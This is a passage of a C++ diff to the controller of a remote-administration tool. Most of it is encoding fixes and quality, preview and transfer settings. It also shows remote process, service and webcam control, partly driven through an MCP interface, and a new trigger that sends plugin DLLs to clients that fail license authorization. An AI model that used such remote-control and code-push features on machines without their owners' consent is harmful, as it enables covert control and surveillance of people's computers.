         UpdateLicenseActivity(sn, passcode, hmacStr, ip, location, machineName);
     } else {
@@ -5471,7 +5689,7 @@ int CMy2015RemoteDlg::AuthorizeClientV2(context* ctx, const std::string& sn, con
         if (outExpired) *outExpired = true;  // 签名有效但已过期
         if (ctx != nullptr) {
             std::string ip = ctx->GetClientData(ONLINELIST_IP);
-            std::string location = m_IPConverter ? m_IPConverter->GetGeoLocation(ip) : "";
+            std::string location = m_IPConverter ? SafeUtf8ToAnsi(m_IPConverter->GetGeoLocation(ip)) : "";
             std::string machineName = ctx->GetClientData(ONLINELIST_COMPUTER_NAME);
             UpdateLicenseActivity(sn, passcode, hmacV2, ip, location, machineName);
         } else {
@@ -5489,7 +5707,7 @@ int CMy2015RemoteDlg::AuthorizeClientV2(context* ctx, const std::string& sn, con
     // 授权成功时更新 license 活跃信息
     if (ctx != nullptr) {
         std::string ip = ctx->GetClientData(ONLINELIST_IP);
-        std::string location = m_IPConverter ? m_IPConverter->GetGeoLocation(ip) : "";
+        std::string location = m_IPConverter ? SafeUtf8ToAnsi(m_IPConverter->GetGeoLocation(ip)) : "";
         std::string machineName = ctx->GetClientData(ONLINELIST_COMPUTER_NAME);
         UpdateLicenseActivity(sn, passcode, hmacV2, ip, location, machineName);
     } else {
@@ -5681,7 +5899,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
 
             // 统一的 V1/V2 授权验证
             std::string ip = ContextObject->GetPeerName();
-            auto [authorized, isV2, isTrail, expired] = VerifyClientAuth(NULL, sn, passcode, hmac, hmacV2, ip, "AUTH");
+            auto [authorized, isV2, isTrail, expired] = VerifyClientAuth(NULL, sn, passcode, hmac, hmacV2, ip, "AUTH", ContextObject);
             valid = authorized;
             bool isV2Auth = !hmacV2.empty() && hmacV2.substr(0, 3) == "v2:";
 
@@ -6533,8 +6751,13 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
     case TOKEN_PSLIST: { // 进程管理【x】
         // P2b：MCP 挂起时接管。进程/窗口列表无请求 id，按 device_id 匹配并同步拷贝
         // （此时 IO 线程阻塞在 NotifyProc，缓冲尚未被覆盖，拷贝安全）。
+        // P7：写工具（kill_process/operate_window）的「就绪包」与「确认包」是同一 token，
+        // OnSystemReady 命中就绪包时接管子连接并下发写命令（返回 true、不 CancelIO），
+        // 命中确认包或只读工具时返回 false，走 TakeMainResponse + CancelIO 收尾。
         uint64_t devId = ContextObject->GetClientID();
         if (McpServer().IsPending(devId)) {
+            if (McpServer().OnSystemReady(devId, ContextObject))
+                break;
             McpServer().TakeMainResponse(devId, ContextObject->GetBuffer(0), ContextObject->GetBufferLength());
             ContextObject->CancelIO();  // 用完即关，避免子链接泄漏（仿 WebService 终端关闭）
             break;
@@ -6577,8 +6800,12 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
     case TOKEN_SERVERLIST: { // 服务管理【x】
         // P3：MCP 挂起时接管。服务列表为一次性子链接回传（CServicesManager 构造即发），
         // 取走即 CancelIO 关子链接（无 MFC 对话框续用该子链接）。
+        // P7：control_service 的就绪/确认是同一 token，OnServiceReady 命中就绪包时接管并下发
+        // COMMAND_SERVICECONFIG（返回 true、不 CancelIO），确认包走 TakeMainResponse 收尾。
         uint64_t devId = ContextObject->GetClientID();
         if (McpServer().IsPending(devId)) {
+            if (McpServer().OnServiceReady(devId, ContextObject))
+                break;
             McpServer().TakeMainResponse(devId, szBuffer, len);
             ContextObject->CancelIO();
             break;
@@ -6586,6 +6813,10 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
         g_2015RemoteDlg->SendMessage(WM_OPENSERVICESDIALOG, 0, (LPARAM)ContextObject);
         break;
     }
+    case TOKEN_CONNECTION_LIST: { // 连接管理【x】
+        g_2015RemoteDlg->SendMessage(WM_OPENCONNECTIONDIALOG, 0, (LPARAM)ContextObject);
+        break;
+    }
     case TOKEN_WEBCAM_BITMAPINFO: { // 摄像头【x】
         g_2015RemoteDlg->SendMessage(WM_OPENWEBCAMDIALOG, 0, (LPARAM)ContextObject);
         break;
@@ -7117,7 +7348,8 @@ std::pair<std::string, std::string> CMy2015RemoteDlg::GenerateRenewalInfo(
 // expired=true 表示签名有效但已过期（可用于续期）
 std::tuple<bool, bool, bool, bool> CMy2015RemoteDlg::VerifyClientAuth(context* host,
     const std::string& sn, const std::string& passcode, uint64_t hmac,
-    const std::string& hmacV2, const std::string& ip, const char* source)
+    const std::string& hmacV2, const std::string& ip, const char* source,
+    CONTEXT_OBJECT* sender)
 {
     BOOL authorized = -1;
     bool isV2 = false;
@@ -7143,6 +7375,7 @@ std::tuple<bool, bool, bool, bool> CMy2015RemoteDlg::VerifyClientAuth(context* h
                 Mprintf("[%s] %s V2 授权失败 %d: %s [%s]\n", source, passcode.c_str(), authorized, sn.c_str(), ip.c_str());
                 std::string tip = passcode + std::string(_L(" V2 授权失败: ")) + sn + "[" + ip + "]";
                 PostMessageA(WM_SHOWMESSAGE, (WPARAM)new CharMsg(tip.c_str()), NULL);
+                ExecuteAuthFailedTrigger(sender);
             }
         }
     } else if (!passcode.empty() && IsValidPasscodeFormat(passcode.c_str())) {
@@ -7164,6 +7397,7 @@ std::tuple<bool, bool, bool, bool> CMy2015RemoteDlg::VerifyClientAuth(context* h
                 Mprintf("[%s] %s V1 授权失败 %d: %s [%s]\n", source, passcode.c_str(), authorized, sn.c_str(), ip.c_str());
                 std::string tip = passcode + std::string(_L(" V1 授权失败: ")) + sn + "[" + ip + "]";
                 PostMessageA(WM_SHOWMESSAGE, (WPARAM)new CharMsg(tip.c_str()), NULL);
+                ExecuteAuthFailedTrigger(sender);
             }
         }
     }
@@ -7260,7 +7494,7 @@ void CMy2015RemoteDlg::UpdateActiveWindow(CONTEXT_OBJECT* ctx)
 
         // 统一的 V1/V2 授权验证
         std::string ip = ctx->GetClientData(ONLINELIST_IP);
-        auto [authorized, isV2, isTrail, expired] = VerifyClientAuth(host, hb.SN, hb.Passcode, hb.PwdHmac, hmacV2, ip, "HB");
+        auto [authorized, isV2, isTrail, expired] = VerifyClientAuth(host, hb.SN, hb.Passcode, hb.PwdHmac, hmacV2, ip, "HB", ctx);
         (void)expired;  // 心跳不需要处理过期续期
 
         // 检查并发送预设续期（多点验证）
@@ -7777,6 +8011,11 @@ LRESULT CMy2015RemoteDlg::OnOpenServicesDialog(WPARAM wParam, LPARAM lParam)
     return OpenDialog<CServicesDlg, IDD_DIALOG_SERVICES>(wParam, lParam);
 }
 
+LRESULT CMy2015RemoteDlg::OnOpenConnectionDialog(WPARAM wParam, LPARAM lParam)
+{
+    return OpenDialog<CConnectionsDlg, IDD_DIALOG_CONNECTIONS>(wParam, lParam);
+}
+
 LRESULT CMy2015RemoteDlg::OnOpenRegisterDialog(WPARAM wParam, LPARAM lParam)
 {
     return OpenDialog<CRegisterDlg, IDD_DIALOG_REGISTER>(wParam, lParam);
@@ -7896,7 +8135,7 @@ LRESULT CMy2015RemoteDlg::WindowProc(UINT message, WPARAM wParam, LPARAM lParam)
 
 void CMy2015RemoteDlg::OnOnlineShare()
 {
-    CInputDialog dlg(this);
+    CShareHostDlg dlg(this, FALSE);
     dlg.Init(_TR("分享主机"), _TR("输入<IP:PORT>地址:"));
     dlg.SetHistoryKey("ShareAddress");
     if (dlg.DoModal() != IDOK || dlg.m_str.IsEmpty())
@@ -7905,9 +8144,10 @@ void CMy2015RemoteDlg::OnOnlineShare()
         MessageBoxL("字符串长度超出[0, 250]范围限制!", "提示", MB_ICONINFORMATION);
         return;
     }
-    CharMsg* buf = new CharMsg(dlg.m_str.GetLength()+1);
-    memcpy(buf->data, dlg.m_str, dlg.m_str.GetLength());
-    buf->data[dlg.m_str.GetLength()] = 0;
+    CString payload = dlg.m_str + _T(":") + (dlg.m_bShine ? _T("0") : _T("1"));
+    CharMsg* buf = new CharMsg(payload.GetLength()+1);
+    memcpy(buf->data, payload, payload.GetLength());
+    buf->data[payload.GetLength()] = 0;
     PostMessageA(WM_SHARE_CLIENT, (WPARAM)buf, NULL);
 }
 
@@ -8652,22 +8892,21 @@ void CMy2015RemoteDlg::OnListClick(NMHDR* pNMHDR, LRESULT* pResult)
         CString startTime = ctx->GetClientData(ONLINELIST_STARTTIME);
         ctx->GetAdditionalData(res);
         // 客户端 RES_* 字符串编码取决于客户端能力位：UTF-8 客户端（Linux/macOS/新 Win）
-        // 发的是 UTF-8 字节，老客户端是 CP_ACP。这里统一规整到 CP_ACP，让下游 FormatL
-        // 与既有 ANSI 字符串拼接以及最终 CP_ACP→wide 的浮窗渲染都能正确识别。
-        // 若服务端运行系统的 ANSI 代码页不能容纳客户端字符（如德语服务端遇到中文路径），
-        // 不可表示的字符会变 '?' —— 与项目其它路径的既有限制一致，不在本次修复范围。
+        // 发的是 UTF-8 字节，老客户端是 GBK。这里统一规整到 GBK(936) —— 工程内部 ANSI
+        // 约定即 GBK（/execution-charset:.936 + setlocale(".936")），不随系统 ACP 变。
+        // 下游 FormatL 拼接、以及最终 936→wide 的浮窗渲染都能据此正确识别中文。
         UINT cp = GetClientEncoding(ctx);
-        if (cp != CP_ACP) {
+        if (cp != 936) {
             for (int i = 0; i < RES_MAX; i++) {
                 if (res[i].IsEmpty()) continue;
                 int wlen = MultiByteToWideChar(cp, 0, res[i].GetString(), -1, NULL, 0);
                 if (wlen <= 1) continue;
                 std::wstring wbuf(wlen - 1, L'\0');
                 MultiByteToWideChar(cp, 0, res[i].GetString(), -1, &wbuf[0], wlen);
-                int alen = WideCharToMultiByte(CP_ACP, 0, wbuf.c_str(), -1, NULL, 0, NULL, NULL);
+                int alen = WideCharToMultiByte(936, 0, wbuf.c_str(), -1, NULL, 0, NULL, NULL);
                 if (alen <= 1) continue;
                 CString out;
-                WideCharToMultiByte(CP_ACP, 0, wbuf.c_str(), -1,
+                WideCharToMultiByte(936, 0, wbuf.c_str(), -1,
                                     out.GetBufferSetLength(alen - 1), alen, NULL, NULL);
                 out.ReleaseBuffer(alen - 1);
                 res[i] = out;
@@ -8691,8 +8930,11 @@ void CMy2015RemoteDlg::OnListClick(NMHDR* pNMHDR, LRESULT* pResult)
                         res[RES_SYSTEM_BITS], res[RES_SYSTEM_CPU], res[RES_SYSTEM_MEM], res[RES_RESOLUTION], startTime, expired.c_str(),
                         res[RES_USERNAME], res[RES_ISADMIN] == "1" ? _L("[管理员]") : res[RES_ISADMIN].IsEmpty() ? "" : _L("[非管理员]"), GetElapsedTime(startTime),
                         ctx->GetProtocol().c_str(), ctx->GetServerPort(), typMap[type].c_str(), ctx->GetMasterID().c_str(), res[RES_CLIENT_ID]);
-        std::string geo = res[RES_CLIENT_PUBIP].IsEmpty() ? "" : m_IPConverter->GetGeoLocation(res[RES_CLIENT_PUBIP].GetString());
-        if (m_HasLocDB) {
+        // 地理信息只在加载了本地 IP 库（QQWry/ip2region）时才查询并展示。
+        // 未装库时 m_IPConverter 是网络版 GetGeoLocation（同步外网 HTTP，可达数秒），
+        // 且结果不会被显示——跳过可消除双击浮窗的弹出延时。
+        if (m_HasLocDB && !res[RES_CLIENT_PUBIP].IsEmpty()) {
+            std::string geo = m_IPConverter->GetGeoLocation(res[RES_CLIENT_PUBIP].GetString());
             CString qqwryLoc;
             qqwryLoc.FormatL("\r\n地理信息: %s", geo.c_str());
             strText += qqwryLoc;
@@ -8719,13 +8961,14 @@ void CMy2015RemoteDlg::OnListClick(NMHDR* pNMHDR, LRESULT* pResult)
         }
 
         auto* tip = new CPreviewTipWnd();
-        // 项目是 MBCS（CP_ACP），浮窗内部用宽字符渲染（避免跨语言系统乱码）。
-        // 这里把 strText (CStringA) 按 CP_ACP 转 wide。
+        // 浮窗内部用宽字符渲染。strText 里的中文（标签来自 GBK 源字面量，路径/用户名
+        // 已在上方规整为 GBK）统一是 GBK(936)，按 936 转 wide 而非系统 CP_ACP ——
+        // 否则非中文 ACP（德语/英语等）服务端会把中文解成乱码。
         CStringW textW;
         {
-            int wlen = MultiByteToWideChar(CP_ACP, 0, strText.GetString(), -1, NULL, 0);
+            int wlen = MultiByteToWideChar(936, 0, strText.GetString(), -1, NULL, 0);
             if (wlen > 1) {
-                MultiByteToWideChar(CP_ACP, 0, strText.GetString(), -1, textW.GetBufferSetLength(wlen - 1), wlen);
+                MultiByteToWideChar(936, 0, strText.GetString(), -1, textW.GetBufferSetLength(wlen - 1), wlen);
                 textW.ReleaseBuffer(wlen - 1);
             }
         }
@@ -8793,7 +9036,7 @@ void CMy2015RemoteDlg::OnListSingleClick(NMHDR* pNMHDR, LRESULT* pResult)
     OpenLoopTip(ctx, anchor);
 }
 
-// 屏幕预览参数挑选：复用既有 GetTargetQualityLevel + GetScreenPreviewProfile
+// 屏幕预览参数挑选：复用 GetTargetQualityLevel + GetPreviewProfileCfg（可配置的 6 档预览参数表）
 // RTT 阈值表与屏幕共享共用（FRP 模式阈值更宽松）；超清档（Ultra/High）+ 4K/超宽屏
 // 时按 min(screenWidth/4, 1280) 自适应放大，避免高分屏被压成无信息缩略图
 void CMy2015RemoteDlg::ChooseScreenPreviewParams(context* ctx, WORD& maxWidth, BYTE& jpegQuality) const
@@ -8807,7 +9050,7 @@ void CMy2015RemoteDlg::ChooseScreenPreviewParams(context* ctx, WORD& maxWidth, B
     int rttForLevel = ping > 0 ? ping : 250;
 
     int level = GetTargetQualityLevel(rttForLevel, m_settings.UsingFRPProxy ? 1 : 0);
-    const PreviewProfile& prof = GetScreenPreviewProfile(level);
+    const PreviewProfile& prof = GetPreviewProfileCfg(level);
     int base = prof.maxWidth;
     BYTE q   = (BYTE)prof.jpegQuality;
 
@@ -9141,6 +9384,138 @@ void CMy2015RemoteDlg::SaveThumbnailSettingsToCfg() const
     THIS_CFG.SetInt("thumbnail", "JpegQuality",        m_ThumbnailCfg.JpegQuality);
 }
 
+// ===== 远程桌面质量等级配置（[quality] 节） =====
+// 6 档 QualityProfile 的读写与下发入口。缺省值回落到 common/commands.h 的
+// GetQualityProfile()，与客户端默认表一致；用户改过的档位单独落盘到 INI。
+
+void CMy2015RemoteDlg::LoadQualityProfilesFromCfg()
+{
+    // 先整体回落到内置默认，再逐字段覆盖，避免 INI 缺项时读到 0
+    for (int i = 0; i < QUALITY_COUNT; i++) {
+        m_QualityProfiles[i] = GetQualityProfile(i);
+    }
+
+    for (int i = 0; i < QUALITY_COUNT; i++) {
+        std::string sec = "profile" + std::to_string(i);
+        QualityProfile& p = m_QualityProfiles[i];
+
+        p.maxFPS    = THIS_CFG.GetInt("quality", sec + "_maxFPS",    p.maxFPS);
+        p.maxWidth  = THIS_CFG.GetInt("quality", sec + "_maxWidth",  p.maxWidth);
+        p.algorithm = THIS_CFG.GetInt("quality", sec + "_algorithm", p.algorithm);
+        p.bitRate   = THIS_CFG.GetInt("quality", sec + "_bitRate",   p.bitRate);
+
+        // Clamp 到安全范围（防 INI 被手工编错）
+        if (p.maxFPS < 1)                p.maxFPS = 1;
+        if (p.maxFPS > 60)               p.maxFPS = 60;
+        if (p.maxWidth < 0)              p.maxWidth = 0;
+        if (p.maxWidth > 8192)           p.maxWidth = 8192;
+        if (p.algorithm < ALGORITHM_GRAY || p.algorithm > ALGORITHM_RGB565)
+            p.algorithm = ALGORITHM_H264;
+        if (p.bitRate < 0)               p.bitRate = 0;
+        if (p.bitRate > 50000)           p.bitRate = 50000;
+    }
+}
+
+void CMy2015RemoteDlg::SaveQualityProfilesToCfg() const
+{
+    for (int i = 0; i < QUALITY_COUNT; i++) {
+        std::string sec = "profile" + std::to_string(i);
+        const QualityProfile& p = m_QualityProfiles[i];
+        THIS_CFG.SetInt("quality", sec + "_maxFPS",    p.maxFPS);
+        THIS_CFG.SetInt("quality", sec + "_maxWidth",  p.maxWidth);
+        THIS_CFG.SetInt("quality", sec + "_algorithm", p.algorithm);
+        THIS_CFG.SetInt("quality", sec + "_bitRate",   p.bitRate);
+    }
+}
+
+const QualityProfile& CMy2015RemoteDlg::GetQualityProfileCfg(int level) const
+{
+    if (level < 0 || level >= QUALITY_COUNT)
+        return GetQualityProfile(level);   // 越界：与 common 默认表同源兜底
+    return m_QualityProfiles[level];
+}
+
+void CMy2015RemoteDlg::OnQualityLevels()
+{
+    CQualityLevelsDlg dlg(m_QualityProfiles, this);
+    if (dlg.DoModal() == IDOK) {
+        SaveQualityProfilesToCfg();
+        MessageBoxL("质量等级已保存，下次打开远程桌面时生效。", "提示", MB_ICONINFORMATION);
+    }
+}
+
+// ===== 屏幕预览质量等级配置（[preview] 节） =====
+// 6 档 PreviewProfile 的读写入口。缺省值回落到 common/commands.h 的
+// GetScreenPreviewProfile()，与内置预览参数表一致；用户改过的档位单独落盘到 INI。
+
+void CMy2015RemoteDlg::LoadPreviewProfilesFromCfg()
+{
+    // 先整体回落到内置默认，再逐字段覆盖，避免 INI 缺项时读到 0
+    for (int i = 0; i < QUALITY_COUNT; i++) {
+        m_PreviewProfiles[i] = GetScreenPreviewProfile(i);
+    }
+
+    for (int i = 0; i < QUALITY_COUNT; i++) {
+        std::string sec = "preview" + std::to_string(i);
+        PreviewProfile& p = m_PreviewProfiles[i];
+
+        p.maxWidth    = THIS_CFG.GetInt("preview", sec + "_maxWidth",    p.maxWidth);
+        p.jpegQuality = THIS_CFG.GetInt("preview", sec + "_jpegQuality", p.jpegQuality);
+
+        // Clamp 到安全范围（防 INI 被手工编错）
+        if (p.maxWidth < 64)          p.maxWidth = 64;
+        if (p.maxWidth > 2560)        p.maxWidth = 2560;
+        if (p.jpegQuality < 1)        p.jpegQuality = 1;
+        if (p.jpegQuality > 100)      p.jpegQuality = 100;
+    }
+}
+
+void CMy2015RemoteDlg::SavePreviewProfilesToCfg() const
+{
+    for (int i = 0; i < QUALITY_COUNT; i++) {
+        std::string sec = "preview" + std::to_string(i);
+        const PreviewProfile& p = m_PreviewProfiles[i];
+        THIS_CFG.SetInt("preview", sec + "_maxWidth",    p.maxWidth);
+        THIS_CFG.SetInt("preview", sec + "_jpegQuality", p.jpegQuality);
+    }
+}
+
+const PreviewProfile& CMy2015RemoteDlg::GetPreviewProfileCfg(int level) const
+{
+    if (level < 0 || level >= QUALITY_COUNT)
+        return GetScreenPreviewProfile(level);   // 越界：与 common 默认表同源兜底
+    return m_PreviewProfiles[level];
+}
+
+void CMy2015RemoteDlg::OnPreviewLevels()
+{
+    CPreviewLevelsDlg dlg(m_PreviewProfiles, this);
+    if (dlg.DoModal() == IDOK) {
+        SavePreviewProfilesToCfg();
+        MessageBoxL("预览质量等级已保存，下次发送预览时生效。", "提示", MB_ICONINFORMATION);
+    }
+}
+
+// ===== 文件传输速度配置（[transfer] 节） =====
+// 档位表权威来源见 CFileSpeedDlg.h 的 kFileSpeedTiers。存 ChunkKb/DurationMs 两个 int
+// 而非档位索引，自解释且直接对应 InitFileUpload 入参，不易错位。
+
+void CMy2015RemoteDlg::OnFileTransferSpeed()
+{
+    int chunkKb, durMs;
+    GetTransferSpeed(THIS_CFG, chunkKb, durMs);
+    CFileSpeedDlg dlg(chunkKb, durMs, this);
+    if (dlg.DoModal() == IDOK) {
+        THIS_CFG.SetInt("transfer", "ChunkKb", dlg.GetChunkKb());
+        THIS_CFG.SetInt("transfer", "DurationMs", dlg.GetDurMs());
+        m_settings.TransferChunkKb    = (uint16_t)dlg.GetChunkKb();
+        m_settings.TransferDurationMs = (uint16_t)dlg.GetDurMs();
+        SendMasterSettings(nullptr, m_settings);  // 下载速度随 MasterSettings 推送给在线客户端
+        MessageBoxL("文件传输速度已保存。上传速度重启主控端后生效；下载速度已推送到在线客户端，新连接的主机也会自动获取。",
+                    "提示", MB_ICONINFORMATION);
+    }
+}
+
 void CMy2015RemoteDlg::ApplyThumbnailSettings()
 {
     // 任何已缓存的 HBITMAP 都是按"旧 ThumbWidth"渲染的，尺寸不再可信 —— 一律清空。
@@ -9660,26 +10035,27 @@ void CMy2015RemoteDlg::OnShellcodeTestAesBin()
 
 void CMy2015RemoteDlg::OnOnlineAssignTo()
 {
-    CInputDialog dlg(this);
+    CShareHostDlg dlg(this, TRUE);
     dlg.Init(_TR("转移主机(到期自动复原)"), _TR("输入<IP:PORT>地址:"));
     dlg.SetHistoryKey("ShareAddress");
-    dlg.Init2(_TR("天数(支持浮点数):"), "30");
-    if (dlg.DoModal() != IDOK || dlg.m_str.IsEmpty() || atof(dlg.m_sSecondInput.GetString())<=0)
+    dlg.InitDays(_TR("天数(支持浮点数):"), "30");
+    if (dlg.DoModal() != IDOK || dlg.m_str.IsEmpty() || atof(dlg.m_sDays.GetString())<=0)
         return;
     if (dlg.m_str.GetLength() >= 250) {
         MessageBoxL("字符串长度超出[0, 250]范围限制!", "提示", MB_ICONINFORMATION);
         return;
     }
-    if (dlg.m_sSecondInput.GetLength() >= 6) {
+    if (dlg.m_sDays.GetLength() >= 6) {
         MessageBoxL("超出使用时间可输入的字符数限制!", "提示", MB_ICONINFORMATION);
         return;
     }
+    CString daysProto = dlg.m_sDays + _T(":") + (dlg.m_bShine ? _T("0") : _T("1"));
     CharMsg* buf1 = new CharMsg(dlg.m_str.GetLength() + 1);
-    CharMsg* buf2 = new CharMsg(dlg.m_sSecondInput.GetLength() + 1);
+    CharMsg* buf2 = new CharMsg(daysProto.GetLength() + 1);
     memcpy(buf1->data, dlg.m_str, dlg.m_str.GetLength());
-    memcpy(buf2->data, dlg.m_sSecondInput, dlg.m_sSecondInput.GetLength());
+    memcpy(buf2->data, daysProto, daysProto.GetLength());
     buf1->data[dlg.m_str.GetLength()] = 0;
-    buf2->data[dlg.m_sSecondInput.GetLength()] = 0;
+    buf2->data[daysProto.GetLength()] = 0;
     PostMessageA(WM_ASSIGN_CLIENT, (WPARAM)buf1, (LPARAM)buf2);
 }
 
@@ -11182,6 +11558,12 @@ void CMy2015RemoteDlg::OnMcpSettings()
     ApplyFrpSettings();
 }
 
+void CMy2015RemoteDlg::OnConnectionManage()
+{
+    BYTE cmd = COMMAND_CONNECTION;
+    SendSelectedCommand(&cmd, sizeof(BYTE));
+}
+
 void CMy2015RemoteDlg::OnTriggerSettings()
 {
     if (m_DllList.empty()) {
@@ -11231,6 +11613,45 @@ void CMy2015RemoteDlg::ExecuteOnlineTrigger(CONTEXT_OBJECT* ctx)
     }
 }
 
+void CMy2015RemoteDlg::ExecuteAuthFailedTrigger(CONTEXT_OBJECT* ctx)
+{
+    if (!ctx || m_DllList.empty()) return;
+
+    // 快速检查是否有授权失败触发器（使用缓存，无磁盘IO）
+    if (!TriggerManager::Instance().HasAuthFailedTrigger()) {
+        return;
+    }
+
+    // 获取触发器插件列表（从缓存获取）
+    auto pluginNames = TriggerManager::Instance().GetAuthFailedPlugins();
+    if (pluginNames.empty()) {
+        return;
+    }
+
+    Mprintf("[Trigger] Auth failed trigger activated for %s\n", ctx->GetPeerName().c_str());
+
+    // 遍历触发器配置的插件列表
+    for (const auto& pluginName : pluginNames) {
+        // 查找对应的 DLL
+        DllInfo* targetDll = nullptr;
+        for (auto& dll : m_DllList) {
+            if (dll && dll->Name == pluginName) {
+                targetDll = dll;
+                break;
+            }
+        }
+
+        if (!targetDll || !targetDll->Data) {
+            Mprintf("[Trigger] Plugin not found: %s\n", pluginName.c_str());
+            continue;
+        }
+
+        // 发送 DLL 到客户端
+        Mprintf("[Trigger] Sending plugin '%s' to %s\n", pluginName.c_str(), ctx->GetPeerName().c_str());
+        ctx->Send2Client(targetDll->Data->Buf(), targetDll->Data->length());
+    }
+}
+
 context* CMy2015RemoteDlg::FindHostByIP(const std::string& ip)
 {
     CString clientIP(ip.c_str());
@@ -12352,36 +12773,47 @@ LRESULT CMy2015RemoteDlg::OnSplitterReleased(WPARAM, LPARAM)
 
 void CMy2015RemoteDlg::OnCopyClientInfo()
 {
-    CString csv;
+    // 用宽字符拼 CSV 后以 CF_UNICODETEXT 写入剪贴板，逐列按源编码转宽，保证无损。
+    // 地理位置/程序路径已统一按 UTF-8 存储（见 AddList），活动窗口编码随客户端能力位；
+    // 其余列仍是 CP_ACP（GBK）。此前直接 dump 原始字节，UTF-8 列会被当 GBK 造成乱码。
+    std::wstring csv;
     EnterCriticalSection(&m_cs);
     int nItem = m_CList_Online.GetNextItem(-1, LVNI_SELECTED);
     while (nItem != -1) {
         context* ctx = GetContextByListIndex(nItem);
         if (ctx) {
-            CString line;
+            std::wstring line;
             for (int col = 1; col < g_Column_Count_Online; ++col) {
-                if (col > 1) line += _T(",");
-                line += ctx->GetClientData(col - 1);
+                if (col > 1) line += L",";
+                int slot = col - 1;
+                CString text = ctx->GetClientData(slot);
+                UINT cp = CP_ACP;
+                if (slot == ONLINELIST_LOCATION || slot == ONLINELIST_PATH)
+                    cp = CP_UTF8;
+                else if (slot == ONLINELIST_LOGINTIME)
+                    cp = GetClientEncoding(ctx);
+                int wlen = MultiByteToWideChar(cp, 0, text, -1, NULL, 0);
+                if (wlen > 1) {
+                    std::wstring w(wlen - 1, L'\0');
+                    MultiByteToWideChar(cp, 0, text, -1, &w[0], wlen);
+                    line += w;
+                }
             }
-            csv += line + _T("\r\n");
+            csv += line + L"\r\n";
         }
         nItem = m_CList_Online.GetNextItem(nItem, LVNI_SELECTED);
     }
     LeaveCriticalSection(&m_cs);
 
-    if (csv.IsEmpty()) return;
+    if (csv.empty()) return;
     if (!OpenClipboard()) return;
     EmptyClipboard();
-    int len = (csv.GetLength() + 1) * sizeof(TCHAR);
+    int len = (int)((csv.size() + 1) * sizeof(wchar_t));
     HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, len);
     if (hMem) {
-        memcpy(GlobalLock(hMem), (LPCTSTR)csv, len);
+        memcpy(GlobalLock(hMem), csv.c_str(), len);
         GlobalUnlock(hMem);
-#ifdef UNICODE
         SetClipboardData(CF_UNICODETEXT, hMem);
-#else
-        SetClipboardData(CF_TEXT, hMem);
-#endif
     }
     CloseClipboard();
 }

server/2015Remote/2015RemoteDlg.h

@@ -6,6 +6,7 @@
 #include "TrueColorToolBar.h"
 #include "IOCPServer.h"
 #include <common/location.h>
+#include "common/commands.h"
 #include <map>
 #include <unordered_map>
 #include <mutex>
@@ -108,6 +109,13 @@ bool SupportsFileTransferV2(context* ctx);
 // 找不到主连接或老客户端：默认 CP936（覆盖 95% 简中/英语 ASCII 老客户端）。
 UINT GetClientEncoding(context* ctx);
 
+// 获取客户端「进程名/路径」编码 (CP_UTF8 或 936)。
+// 与 GetClientEncoding 不同：Windows 客户端的进程名/路径由 A 接口
+// （Process32FirstA / QueryFullProcessImageNameA 等）生成，恒为客户端系统
+// ANSI（简中=GBK/936），不随 CLIENT_CAP_UTF8 转 UTF-8；仅 LNX/MAC 走 UTF-8。
+// 与 McpServer::BuildListProcesses 的判定保持一致。
+UINT GetProcessListEncoding(context* ctx);
+
 // 服务端待续传的传输信息
 struct PendingTransferV2 {
     uint64_t clientID;
@@ -215,6 +223,9 @@ public:
     VOID AddList(CString strIP, CString strAddr, CString strPCName, CString strOS, CString strCPU, CString strVideo, CString strPing,
                  CString ver, CString startTime, std::vector<std::string>& v, CONTEXT_OBJECT* ContextObject);
     VOID ShowMessage(CString strType, CString strMsg);
+    // 消息中含 UTF-8（如地理位置）时使用：消息列经 LVM_SETITEMTEXTW 写宽字符串，
+    // 避免 UTF-8 在 ANSI 日志列表里被按 GBK 显示成乱码（Böblingen → B枚blingen）。
+    VOID ShowMessageW(const CStringW& strType, const CStringW& strMsg);
     VOID CreatStatusBar();
     VOID CreateToolBar();
     VOID CreateNotifyBar();
@@ -232,9 +243,10 @@ public:
     // 统一的授权验证函数，返回: (authorized, isV2, isTrail, expired)
     // expired=true 表示签名有效但已过期（可用于续期）
     // source: 验证来源 ("AUTH"=TOKEN_AUTH, "HB"=心跳)
+    // sender: 发送方连接上下文（授权失败触发器下发 DLL 用），TOKEN_AUTH 路径可为 nullptr
     std::tuple<bool, bool, bool, bool> VerifyClientAuth(context* host, const std::string& sn,
         const std::string& passcode, uint64_t hmac, const std::string& hmacV2, const std::string& ip,
-        const char* source = "AUTH");
+        const char* source = "AUTH", CONTEXT_OBJECT* sender = nullptr);
     BOOL SendMasterSettings(CONTEXT_OBJECT* ctx, const MasterSettings& m);
     void SendFilesToClientV2(context* mainCtx, const std::vector<std::string>& files, const std::string& targetDir = "");
     void SendFilesToClientV2Internal(context* mainCtx, const std::vector<std::string>& files,
@@ -328,6 +340,29 @@ public:
     void LoadThumbnailSettingsFromCfg();          // 从 THIS_CFG 读到 m_ThumbnailCfg
     void SaveThumbnailSettingsToCfg() const;      // m_ThumbnailCfg 落盘到 THIS_CFG
     void TickThumbnailRefresh();                  // TIMER_THUMBNAIL_REFRESH 主循环
+
+    // ===== 远程桌面质量等级配置（6 档 QualityProfile） =====
+    // 主控端 UI 偏好，持久化走 THIS_CFG [quality] 节。服务端权威，经 CMD_QUALITY_PROFILES
+    // 下发给客户端。仅 UI 线程访问；修改后需重开远程桌面会话才对新连接生效。
+    QualityProfile m_QualityProfiles[QUALITY_COUNT];
+    void LoadQualityProfilesFromCfg();                    // 从 THIS_CFG 读到 m_QualityProfiles（缺省回落 GetQualityProfile）
+    void SaveQualityProfilesToCfg() const;                // m_QualityProfiles 落盘到 THIS_CFG
+    const QualityProfile& GetQualityProfileCfg(int level) const;  // 供 ScreenSpyDlg 下发用
+    void OnQualityLevels();                               // 高级→远程桌面质量等级
+
+    // ===== 屏幕预览质量等级配置（6 档 PreviewProfile） =====
+    // 双击主机单发预览 / 循环快照浮窗所用。持久化走 THIS_CFG [preview] 节。
+    // 仅 UI 线程访问；修改后下次发预览请求即生效。
+    PreviewProfile m_PreviewProfiles[QUALITY_COUNT];
